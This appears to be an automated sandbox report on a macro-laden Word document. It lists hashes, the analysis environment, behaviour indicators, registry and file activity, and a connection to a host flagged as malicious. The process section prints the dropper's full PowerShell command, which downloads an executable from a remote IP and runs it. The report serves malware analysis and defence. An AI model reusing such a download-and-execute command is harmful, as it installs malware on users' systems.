Malware analysis 99eb1d90eb5f0d012f35fcc2a7dedd2229312794354843637ebb7f40b74d0809.doc Malicious activity

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File name:	99eb1d90eb5f0d012f35fcc2a7dedd2229312794354843637ebb7f40b74d0809.doc
Full analysis:	https://app.any.run/tasks/c42a5d3c-ce0c-4579-b72e-feadc09e4698
Verdict:	Malicious activity
Analysis date:	September 18, 2019, 21:21:38
OS:	Windows 7 Professional Service Pack 1 (build: 7601, 32 bit)
Tags:	macros macros-on-open generated-doc
Indicators:
MIME:	application/msword
File info:	Composite Document File V2 Document, Little Endian, Os: Windows, Version 6.2, Code page: 1252, Author: jnmnGw, Template: Normal, Last Saved By: Windows User, Revision Number: 1, Name of Creating Application: Microsoft Office Word, Create Time/Date: Fri Apr 13 13:19:00 2018, Last Saved Time/Date: Fri Apr 13 13:19:00 2018, Number of Pages: 1, Number of Words: 0, Number of Characters: 1, Security: 0
MD5:	16BA8F5D604B4B9A366AE2D5B2107E68
SHA1:	878F05A0DDC78DB92CD844B5D13BE93E7B25F343
SHA256:	99EB1D90EB5F0D012F35FCC2A7DEDD2229312794354843637EBB7F40B74D0809
SSDEEP:	6144:FvLzpvvAi+VLE5DnxWCDWSQB2Zye7+rXMl:pzpvv+pE5DxWskrX

ANY.RUN is an interactive service which provides full access to the guest system. Information in this report could be distorted by user actions and is provided for user acknowledgement as it is. ANY.RUN does not guarantee maliciousness or safety of the content.

Launch configuration

Task duration:: 300 seconds
Heavy Evasion option:: off
Network geolocation:: off
Additional time used:: 240 seconds
MITM proxy:: off
Privacy:: Public submission
Fakenet option:: off
Route via Tor:: off
Autoconfirmation of UAC:: on
Network:: on

Software preset

Internet Explorer 8.0.7601.17514 undefined
Adobe Acrobat Reader DC MUI (15.023.20070)
Adobe Flash Player 26 ActiveX (26.0.0.131)
Adobe Flash Player 26 NPAPI (26.0.0.131)
Adobe Flash Player 26 PPAPI (26.0.0.131)
Adobe Refresh Manager (1.8.0)
CCleaner (5.35)
FileZilla Client 3.36.0 (3.36.0)
Google Chrome (75.0.3770.100)
Google Update Helper (1.3.34.7)
Java 8 Update 92 (8.0.920.14)
Java Auto Updater (2.8.92.14)
Microsoft .NET Framework 4.7.2 (4.7.03062)
Microsoft Office Access MUI (English) 2010 (14.0.6029.1000)
Microsoft Office Access Setup Metadata MUI (English) 2010 (14.0.6029.1000)
Microsoft Office Excel MUI (English) 2010 (14.0.6029.1000)
Microsoft Office OneNote MUI (English) 2010 (14.0.6029.1000)
Microsoft Office Outlook MUI (English) 2010 (14.0.6029.1000)
Microsoft Office PowerPoint MUI (English) 2010 (14.0.6029.1000)
Microsoft Office Professional 2010 (14.0.6029.1000)
Microsoft Office Proof (English) 2010 (14.0.6029.1000)
Microsoft Office Proof (French) 2010 (14.0.6029.1000)
Microsoft Office Proof (Spanish) 2010 (14.0.6029.1000)
Microsoft Office Proofing (English) 2010 (14.0.6029.1000)
Microsoft Office Publisher MUI (English) 2010 (14.0.6029.1000)
Microsoft Office Shared MUI (English) 2010 (14.0.6029.1000)
Microsoft Office Shared Setup Metadata MUI (English) 2010 (14.0.6029.1000)
Microsoft Office Single Image 2010 (14.0.6029.1000)
Microsoft Office Word MUI (English) 2010 (14.0.6029.1000)
Microsoft Visual C++ 2008 Redistributable - x86 9.0.30729.6161 (9.0.30729.6161)
Microsoft Visual C++ 2010 x86 Redistributable - 10.0.40219 (10.0.40219)
Microsoft Visual C++ 2013 Redistributable (x86) - 12.0.30501 (12.0.30501.0)
Microsoft Visual C++ 2013 x86 Additional Runtime - 12.0.21005 (12.0.21005)
Microsoft Visual C++ 2013 x86 Minimum Runtime - 12.0.21005 (12.0.21005)
Microsoft Visual C++ 2015-2019 Redistributable (x86) - 14.21.27702 (14.21.27702.2)
Microsoft Visual C++ 2019 X86 Additional Runtime - 14.21.27702 (14.21.27702)
Microsoft Visual C++ 2019 X86 Minimum Runtime - 14.21.27702 (14.21.27702)
Mozilla Firefox 68.0.1 (x86 en-US) (68.0.1)
Notepad++ (32-bit x86) (7.5.1)
Opera 12.15 (12.15.1748)
Skype version 8.29 (8.29)
Update for Microsoft .NET Framework 4.7.2 (KB4087364) (1)
VLC media player (2.2.6)
WinRAR 5.60 (32-bit) (5.60.0)

Hotfixes

Client LanguagePack Package
Client Refresh LanguagePack Package
CodecPack Basic Package
Foundation Package
IE Troubleshooters Package
InternetExplorer Optional Package
KB2534111
KB2999226
KB4019990
KB976902
LocalPack AU Package
LocalPack CA Package
LocalPack GB Package
LocalPack US Package
LocalPack ZA Package
ProfessionalEdition
UltimateEdition

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MALICIOUS
- Unusual execution from Microsoft Office
  - WINWORD.EXE (PID: 2876)
- Executes PowerShell scripts
  - WINWORD.EXE (PID: 2876)
SUSPICIOUS
- Executes PowerShell scripts
  - powershell.exe (PID: 3956)
- Creates files in the user directory
  - powershell.exe (PID: 2776)
  - powershell.exe (PID: 3956)
- Application launched itself
  - powershell.exe (PID: 3956)
INFO
- Creates files in the user directory
  - WINWORD.EXE (PID: 2876)
- Reads Microsoft Office registry keys
  - WINWORD.EXE (PID: 2876)

Find more information about signature artifacts and mapping to MITRE ATT&CK™ MATRIX at the full report

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No Malware configuration.

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TRiD

.doc	\|	Microsoft Word document (54.2)
.doc	\|	Microsoft Word document (old ver.) (32.2)

EXIF

FlashPix

Title:	-
Subject:	-
Author:	jnmnGw
Keywords:	-
Comments:	-
Template:	Normal
LastModifiedBy:	Windows User
RevisionNumber:	1
Software:	Microsoft Office Word
TotalEditTime:	-
CreateDate:	2018:04:13 12:19:00
ModifyDate:	2018:04:13 12:19:00
Pages:	1
Words:	-
Characters:	1
Security:	None
CodePage:	Windows Latin 1 (Western European)
Company:	-
Bytes:	11000
Lines:	1
Paragraphs:	1
CharCountWithSpaces:	1
AppVersion:	14
ScaleCrop:	No
LinksUpToDate:	No
SharedDoc:	No
HyperlinksChanged:	No
TitleOfParts:	-
HeadingPairs:	Title 1
CompObjUserTypeLen:	32
CompObjUserType:	Microsoft Word 97-2003 Document

No data.

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All screenshots are available in the full report

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Total processes

Monitored processes

Malicious processes

Suspicious processes

Behavior graph

Click at the process to see the details

Process information

PID

CMD

Path

Indicators

Parent process

2776

"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -w 1 Start-Process -Filepath C:\Users\admin\AppData\Local\Temp\\PHfW.exe

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

—

powershell.exe

User:

admin

Company:

Microsoft Corporation

Integrity Level:

MEDIUM

Description:

Windows PowerShell

Exit code:

Version:

6.1.7600.16385 (win7_rtm.090713-1255)

Modules

Images
c:\windows\system32\windowspowershell\v1.0\powershell.exe
c:\systemroot\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\advapi32.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\sechost.dll
c:\windows\system32\rpcrt4.dll
c:\windows\system32\atl.dll
c:\windows\system32\user32.dll

2876

"C:\Program Files\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\admin\AppData\Local\Temp\99eb1d90eb5f0d012f35fcc2a7dedd2229312794354843637ebb7f40b74d0809.doc"

C:\Program Files\Microsoft Office\Office14\WINWORD.EXE

—

explorer.exe

User:

admin

Company:

Microsoft Corporation

Integrity Level:

MEDIUM

Description:

Microsoft Word

Exit code:

Version:

14.0.6024.1000

Modules

Images
c:\program files\microsoft office\office14\winword.exe
c:\systemroot\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\advapi32.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\sechost.dll
c:\windows\system32\rpcrt4.dll
c:\windows\winsxs\x86_microsoft.vc90.crt_1fc8b3b9a1e18e3b_9.0.30729.6161_none_50934f2ebcb7eb57\msvcr90.dll
c:\windows\winsxs\x86_microsoft.windows.common-controls_6595b64144ccf1df_5.82.7601.17514_none_ec83dffa859149af\comctl32.dll

3956

powershell.exe -w 1 (New-Object System.Net.WebClient).DownloadFile('http://185.189.58.222/x.exe',([System.IO.Path]::GetTempPath()+'\PHfW.exe'));powershell.exe -w 1 Start-Process -Filepath ([System.IO.Path]::GetTempPath()+'\PHfW.exe');

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

WINWORD.EXE

User:

admin

Company:

Microsoft Corporation

Integrity Level:

MEDIUM

Description:

Windows PowerShell

Exit code:

Version:

6.1.7600.16385 (win7_rtm.090713-1255)

Modules

Images
c:\windows\system32\windowspowershell\v1.0\powershell.exe
c:\systemroot\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\advapi32.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\sechost.dll
c:\windows\system32\rpcrt4.dll
c:\windows\system32\atl.dll
c:\windows\system32\user32.dll

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Total events

1 516

Read events

1 065

Write events

446

Delete events

Modification events


(PID) Process:	(2876) WINWORD.EXE	Key:	HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Word\Resiliency\StartupItems
Operation:	write	Name:	t\|!
Value: 747C21003C0B0000010000000000000000000000
(PID) Process:	(2876) WINWORD.EXE	Key:	HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\LanguageResources\EnabledLanguages
Operation:	write	Name:	1033
Value: Off
(PID) Process:	(2876) WINWORD.EXE	Key:	HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\LanguageResources\EnabledLanguages
Operation:	write	Name:	1033
Value: On
(PID) Process:	(2876) WINWORD.EXE	Key:	HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Products\00004109D30000000000000000F01FEC\Usage
Operation:	write	Name:	WORDFiles
Value: 1328676894
(PID) Process:	(2876) WINWORD.EXE	Key:	HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Products\00004109D30000000000000000F01FEC\Usage
Operation:	write	Name:	ProductFiles
Value: 1328677008
(PID) Process:	(2876) WINWORD.EXE	Key:	HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Products\00004109D30000000000000000F01FEC\Usage
Operation:	write	Name:	ProductFiles
Value: 1328677009
(PID) Process:	(2876) WINWORD.EXE	Key:	HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Word
Operation:	write	Name:	MTTT
Value: 3C0B000014426C18676ED50100000000
(PID) Process:	(2876) WINWORD.EXE	Key:	HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Word\Resiliency\StartupItems
Operation:	write	Name:	;}!
Value: 3B7D21003C0B000004000000000000008C00000001000000840000003E0043003A005C00550073006500720073005C00610064006D0069006E005C0041007000700044006100740061005C0052006F0061006D0069006E0067005C004D006900630072006F0073006F00660074005C00540065006D0070006C0061007400650073005C004E006F0072006D0061006C002E0064006F0074006D00000000000000
(PID) Process:	(2876) WINWORD.EXE	Key:	HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Word\Resiliency\StartupItems
Operation:	delete value	Name:	;}!
Value: 3B7D21003C0B000004000000000000008C00000001000000840000003E0043003A005C00550073006500720073005C00610064006D0069006E005C0041007000700044006100740061005C0052006F0061006D0069006E0067005C004D006900630072006F0073006F00660074005C00540065006D0070006C0061007400650073005C004E006F0072006D0061006C002E0064006F0074006D00000000000000
(PID) Process:	(2876) WINWORD.EXE	Key:	HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap
Operation:	write	Name:	UNCAsIntranet
Value: 0

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Executable files

Suspicious files

Text files

Unknown types

Dropped files

PID	Process	Filename		Type
2876	WINWORD.EXE	C:\Users\admin\AppData\Local\Temp\CVR9C54.tmp.cvr		—
		MD5:—	SHA256:—
3956	powershell.exe	C:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\8C0PTRRGCY9SRUO48XO9.temp		—
		MD5:—	SHA256:—
2776	powershell.exe	C:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\W2ZI15SMBN740I77IBLA.temp		—
		MD5:—	SHA256:—
3956	powershell.exe	C:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-ms~RF16a482.TMP		binary
		MD5:—	SHA256:—
2776	powershell.exe	C:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-ms~RF1705ad.TMP		binary
		MD5:—	SHA256:—
2776	powershell.exe	C:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-ms		binary
		MD5:—	SHA256:—
2876	WINWORD.EXE	C:\Users\admin\AppData\Local\Temp\~$eb1d90eb5f0d012f35fcc2a7dedd2229312794354843637ebb7f40b74d0809.doc		pgc
		MD5:—	SHA256:—
2876	WINWORD.EXE	C:\Users\admin\AppData\Roaming\Microsoft\Templates\~$Normal.dotm		pgc
		MD5:—	SHA256:—
3956	powershell.exe	C:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-ms		binary
		MD5:—	SHA256:—

Download PCAP, analyze network streams, HTTP content and a lot more at the full report

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HTTP(S) requests

TCP/UDP connections

DNS requests

Threats

HTTP requests

No HTTP requests

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Connections

PID	Process	IP	Domain	ASN	CN	Reputation
3956	powershell.exe	185.189.58.222:80	—	—	GB	malicious

DNS requests

Domain	IP	Reputation
dns.msftncsi.com	131.107.255.255	shared

Threats

No threats detected

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No debug info

General Info

99eb1d90eb5f0d012f35fcc2a7dedd2229312794354843637ebb7f40b74d0809.doc

16BA8F5D604B4B9A366AE2D5B2107E68

878F05A0DDC78DB92CD844B5D13BE93E7B25F343

99EB1D90EB5F0D012F35FCC2A7DEDD2229312794354843637EBB7F40B74D0809

6144:FvLzpvvAi+VLE5DnxWCDWSQB2Zye7+rXMl:pzpvv+pE5DxWskrX

Software environment set and analysis options

Launch configuration

Software preset

Hotfixes

Behavior activities

MALICIOUS

Unusual execution from Microsoft Office

Executes PowerShell scripts

SUSPICIOUS

Executes PowerShell scripts

Creates files in the user directory

Application launched itself

INFO

Creates files in the user directory

Reads Microsoft Office registry keys

Malware configuration

Static information

TRiD

EXIF

FlashPix

Video and screenshots

Processes

Behavior graph

Specs description

Process information

Information

Modules

Information

Modules

Information

Modules

Registry activity

Modification events

Files activity

Dropped files

Network activity

HTTP requests

Connections

DNS requests

Threats

Debug output strings